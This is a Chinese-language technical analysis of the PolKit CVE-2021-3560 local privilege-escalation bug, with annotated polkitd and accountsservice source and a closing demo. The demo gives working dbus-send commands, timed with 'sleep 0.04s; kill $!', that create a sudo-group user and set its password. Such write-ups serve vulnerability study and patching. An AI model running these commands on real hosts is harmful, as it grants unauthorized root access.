CVE-2021-3560 PolKit条件竞争本地提权分析

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漏洞简介

漏洞编号: CVE-2021-3560

漏洞评分:

漏洞产品: linux PolKit (polkitd)

影响范围: 源代码 0.113 引入；https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html

RHEL 8
Fedora 21及更高版本
Debian testing (“bullseye”)
Ubuntu 20.04

利用条件: linux 本地；dbus + polkitd 存在

利用效果: 本地提权

源码获取:

polkit-0.113: https://launchpad.net/debian/+source/policykit-1/0.113-5
accountsservice: apt source accountsservice
dbus: apt source dbus

环境搭建

ubuntu 默认镜像 ubuntu-20.04.2 即可复现 : http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso

漏洞原理

漏洞发生点

首先查看问题所在代码

/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync

static void
on_retrieved_unix_uid_pid (GObject              *src,
			   GAsyncResult         *res,
			   gpointer              user_data)
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error);
  if (!v)
    {
      data->caught_error = TRUE; //某些原因失败之后设置error位
    }
  else
  {
      ··· ···//执行成功的数据处理
  }
  ··· ···
}

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
  ··· ···
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕，uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE？
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;
}

在 polkit_system_bus_name_get_creds_sync 函数中，该函数是对某些请求进行身份认证(具体逻辑场景后文在详细介绍)。先后通过 org.freedesktop.DBus 总线调用了 GetConnectionUnixUser 方法与 GetConnectionUnixProcessID 方法，这两个方法由 org.freedesktop.DBus 总线提供，是获取请求进程的PID和用户UID，然后传入回调函数 on_retrieved_unix_uid_pid 处理返回的数据。然后阻塞等待总线那边进程执行完毕。

可以在on_retrieved_unix_uid_pid 函数中看出，会根据总线那边执行返回的结果设置是否执行异常(error?) ，然后设置异常位，如果执行成功则老老实实返回用户UID或进程PID。但在polkit_system_bus_name_get_creds_sync 函数中，阻塞等待总线返回结果后(判断处理好的标志就是UID和PID都处理完毕或发生异常)。**也就是说，总线那边返回从逻辑上来说有三种结果，获取到用户UID为0 特权用户；获取到用户UID非0 普通用户；异常。**但在后面处理中，没有对异常进行处理，直接将要返回给上层的 out_uid 设置为了总线返回的 data.uid，然后直接将ret 设置为了TRUE：

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕，uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE？

但忽略了一种情况就是DBUS总线那边执行异常，导致回调函数设置了异常位就反悔了，根本没处理data 这个数据，而data 初始化是0，这就造成后续直接将out_uid设置成了0，也就是特权用户。

那么这个出问题的 polkit_system_bus_name_get_creds_sync 函数会在哪用到呢。

触发路径

漏洞点所在进程是 polkitd 进程：

polkit 是一个应用程序级别的工具集，通过定义和审核权限规则，实现不同优先级进程间的通讯：控制决策集中在统一的框架之中，决定低优先级进程是否有权访问高优先级进程。

简而言之就是，这是一个后台运行的root 进程，通过进程间通信的方式来对其他低权限进程访问高权限进程提供的功能时做一个权限判断。由于这个进程gdb 挂上就会重启，所以我们只能通过源码的层面进行分析，找到漏洞函数的触发路径：

polkitd 里面大量使用了gio DBUS 进程间通信框架来开发，可以提前了解下手册，关注一些重点函数什么的。

接下来分析polkitd 的漏洞触发路径，

首先是main：

polkit-0.113\src\polkitbackend\polkitd.c : 155 : main

int
main (int    argc,
      char **argv)
{
  ··· ···
  ··· ···

  loop = g_main_loop_new (NULL, FALSE);

  sigint_id = g_unix_signal_add (SIGINT,
                                 on_sigint,
                                 NULL);

  name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
                                  "org.freedesktop.PolicyKit1",  //注册了一个总线名称
                                  G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
                                    (opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
                                  on_bus_acquired, //访问该总线时的回调函数
                                  on_name_acquired,
                                  on_name_lost,
                                  NULL,
                                  NULL);

  g_print ("Entering main event loop\n");
  g_main_loop_run (loop); //循环启动
  ··· ···
  ··· ···
}

先注册了个叫org.freedesktop.PolicyKit1 的总线，然后有三个回调函数，主要关注on_bus_acquired ，会在总线被访问的时候调用。
在on_bus_acquired 函数中直接调用了一个注册类型的函数 polkit_backend_authority_register

在 polkit_backend_authority_register 函数中，注册了一个接口对象org.freedesktop.PolicyKit1.Authority，并且传入一个回调函数表 server_vtable。漏洞触发点就在这个回调函数表中的一个：

policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable

static const GDBusInterfaceVTable server_vtable =
{
  server_handle_method_call, //回调函数
  server_handle_get_property,
  NULL, /* server_handle_set_property */
};
static void
server_handle_method_call (GDBusConnection        *connection,
                           const gchar            *sender,
                           const gchar            *object_path,
                           const gchar            *interface_name,
                           const gchar            *method_name,
                           GVariant               *parameters,
                           GDBusMethodInvocation  *invocation,
                           gpointer                user_data)
{
  Server *server = user_data;
  PolkitSubject *caller;

  caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));

  if (g_strcmp0 (method_name, "EnumerateActions") == 0)
    server_handle_enumerate_actions (server, parameters, caller, invocation);
  else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
    server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
  ··· ···
  ··· ···
}

当其他进程通过总线调用 CheckAuthorization 方法的时候就会调用到 server_handle_check_authorization 函数。

在server_handle_check_authorization 函数中，调用 polkit_backend_authority_check_authorization

在 polkit_backend_authority_check_authorization 函数中，通过回调掉用了 klass->check_authorization ,后者祖册的函数是 polkit_backend_interactive_authority_check_authorization :

polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization

void
polkit_backend_authority_check_authorization (PolkitBackendAuthority        *authority,
                                              PolkitSubject                 *caller,
                                              PolkitSubject                 *subject,
                                              const gchar                   *action_id,
                                              PolkitDetails                 *details,
                                              PolkitCheckAuthorizationFlags  flags,
                                              GCancellable                  *cancellable,
                                              GAsyncReadyCallback            callback,
                                              gpointer                       user_data)
{
  ··· ···
  if (klass->check_authorization == NULL)
    {
      ··· ···
    }
  else
    {
      klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
    }
}
authority_class->check_authorization             = /
polkit_backend_interactive_authority_check_authorization; //在别处初始化的

接下来按顺序寻找就可以了：check_authorization_sync
polkit_backend_session_monitor_get_user_for_subject
漏洞函数：polkit_system_bus_name_get_user_sync

也就是说在其他函数调用总线org.freedesktop.PolicyKit1.Authority 上的 CheckAuthorization方法的时候，在一定场景(控制DBUS获取申请UID返回异常)就会影响该方法的身份认证正确性。由于可以直接看答案，漏洞利用的方法就是，在使用account-daemon

漏洞利用

总体分析

首先引用exp作者的这张图：

介绍一下图里的东西：

polkitd 和 dbus-daemon 还有account-daemon 三个进程都是root 权限运行的后台服务类进程。
dbus-daemon 就是一个进程见通信的“路由器”，也就是上面提到的GIO DBUS 进程间通信框架的核心。我的理解就是不同的进程可以去这里注册总线名，想要和你通信的进程访问总线名和接口、方法名调用你进程中的函数。上面介绍polkitd 进程的一些函数就是在dbus中注册总线等待其他进程调用。
account-daemon 类似polkitd ，在dbus 中注册了org.freedesktop.Accounts 总线，并提供一系列和账户相关的方法，比如接下来用到的添加用户、设置密码等。并且该进程在添加用户之类的操作之前会对用户进行鉴权操作，采用的鉴权方法正是上文提到的polkitd 进程提供的有漏洞的总线方法 CheckAuthorization。
dbus-send 是一个命令，dbus总线提供了一些编程接口以供进程间通信调用，同时也提供了命令行命令，可以直接向固定进程发送消息调用他们的方法。

所以这里漏洞利用整体事件流程就是：

使用dbus-send 命令向 account-daemon 进程发送消息，让其创建一个管理员用户(该进程提供的CreateUser 方法默认添加管理员用户)，但以我们的身份是完成不了该操作的。
消息发送到 account-daemon 进程之后，account-daemon 会向polkitd 进程请求权限验证，是否批准此次用户添加操作。
polkitd 会询问总线，发起创建用户请求的进程用户权限和进程id。
- 我们需要做的就是，在发送完消息，account-daemon 接受到消息到polkitd 询问申请进程权限的这段时间内将申请的进程(也就是dbus-send 进程) kill掉
这时总线发现申请添加用户的进程已经消失，就会返回异常。
经过上面的分析，漏洞点在于 polkitd 进程对异常会默认成功，然后会默认用户uid 为0 即为特权用户。触发漏洞，允许该操作。
虽然dbus-send 进程被kill，导致了总线检测会报异常，但account-daemon 并不会收到影响，在account-daemon 收到消息之后，就不会再关注申请进程是否存在了。
account-daemon 收到了polkitd 回复的允许添加之后，创建用户，完成利用。

account-daemon 通信行为分析

由于dbus-daemon 就是一个中转的进程，就不详细分析了，但这里分析一下account-daemon 该进程是利用过程中的关键进程。该进程也是一个使用GIO DBUS 框架的，简单分析一下里面的一些重点，首先查看一下

accountsservice-0.6.45\src\daemon.c : 90

static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);

G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
        iface->handle_create_user = daemon_create_user;
        iface->handle_delete_user = daemon_delete_user;
        ··· ···
}

这里使用 G_DEFINE_TYPE_WITH_CODE 和 G_IMPLEMENT_INTERFACE 宏来执行 daemon_accounts_accounts_iface_init 函数，这俩宏的意思总之就是会找机会执行daemon_accounts_accounts_iface_init 函数，在 daemon_accounts_accounts_iface_init 函数中注册了create_user 的方法，直接查看daemon_create_user 函数实现：

accountsservice-0.6.45\src\daemon.c : 1099

static gboolean
daemon_create_user (AccountsAccounts      *accounts,
                    GDBusMethodInvocation *context,
                    const gchar           *user_name,
                    const gchar           *real_name,
                    gint                   account_type)
{
        ··· ···
        data = g_new0 (CreateUserData, 1);
        data->user_name = g_strdup (user_name);
        data->real_name = g_strdup (real_name);
        data->account_type = account_type;

        daemon_local_check_auth (daemon,
                                 NULL,
                                 "org.freedesktop.accounts.user-administration",
                                 TRUE,
                                 daemon_create_user_authorized_cb, //回调函数
                                 context,
                                 data,
                                 (GDestroyNotify)create_data_free);

        return TRUE;
}

在daemon_create_user 之中调用了daemon_local_check_auth 函数校验申请用户的权限是否允许，调用成功之后会调用回调函数 daemon_create_user_authorized_cb ，这里先看鉴权函数daemon_local_check_auth:

accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth

void
daemon_local_check_auth (Daemon                *daemon,
                         User                  *user,
                         const gchar           *action_id,
                         gboolean               allow_interaction,
                         AuthorizedCallback     authorized_cb,
                         GDBusMethodInvocation *context,
                         gpointer               authorized_cb_data,
                         GDestroyNotify         destroy_notify)
{
        ··· ···
        polkit_authority_check_authorization (daemon->priv->authority,
                                              subject,
                                              action_id,
                                              NULL,
                                              flags,
                                              NULL,
                                              (GAsyncReadyCallback) check_auth_cb,
                                              data);
        ··· ···
}

这里调用了 polkit_authority_check_authorization 函数去鉴权，polkit_authority_check_authorization 是一个libpolkit-gobject-1.so.0 提供的库函数，就是直接调用上面分析polkitd 进程中的总线org.freedesktop.PolicyKit1.Authority 上的 CheckAuthorization方法来鉴权。鉴权成功会调用回调函数 daemon_create_user_authorized_cb ：

accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb

static void
daemon_create_user_authorized_cb (Daemon                *daemon,
                                  User                  *dummy,
                                  GDBusMethodInvocation *context,
                                  gpointer               data)

{
        ··· ···

        argv[0] = "/usr/sbin/adduser";
        argv[1] = "--quiet";
        argv[2] = "--disabled-login";
        argv[3] = "--gecos";
        argv[4] = cd->real_name;
        argv[5] = cd->user_name;
        argv[6] = NULL;

        error = NULL;
        if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
                throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
                g_error_free (error);
                return;
        }

        if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
                add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
        }

        ··· ···
}

这里已经很明显了，添加用户成功之后，直接将用户添加到sudo 用户组，所以在exp 最后添加完用户之后可以通过sudo su root 来切换到root。

接下来看一下手动漏洞利用的demo

demo

以普通用户身份直接使用dbus-send 命令向account-daemon 发送创建用户的请求：

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

该请求在图形界面操作系统中会弹出输入密码的窗口：

在ssh这种命令行终端会直接失败：

根据上面漏洞利用的思路，首先看一下该命令执行时间：

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

然后选择在该命令执行一半左右的时间的时候kill掉，就有概率触发漏洞创建成功：

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!

多次执行就可成功了：

并且也在sudo 用户组内：

然后同样的方法再给它添加个密码就行了：

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!

User1002 需要根据刚创建的用户UID 修改一下，密码使用哈希值。然后切换到用户

exp

这里没详细写exp，其实就是将上面的命令自动化即可。github 上面的C语言exp 跑了也是ok 的。

hakivvi/CVE-2021-3560

缓解措施

升级最新版本

参考

漏洞纰漏(github)：https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560

m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502

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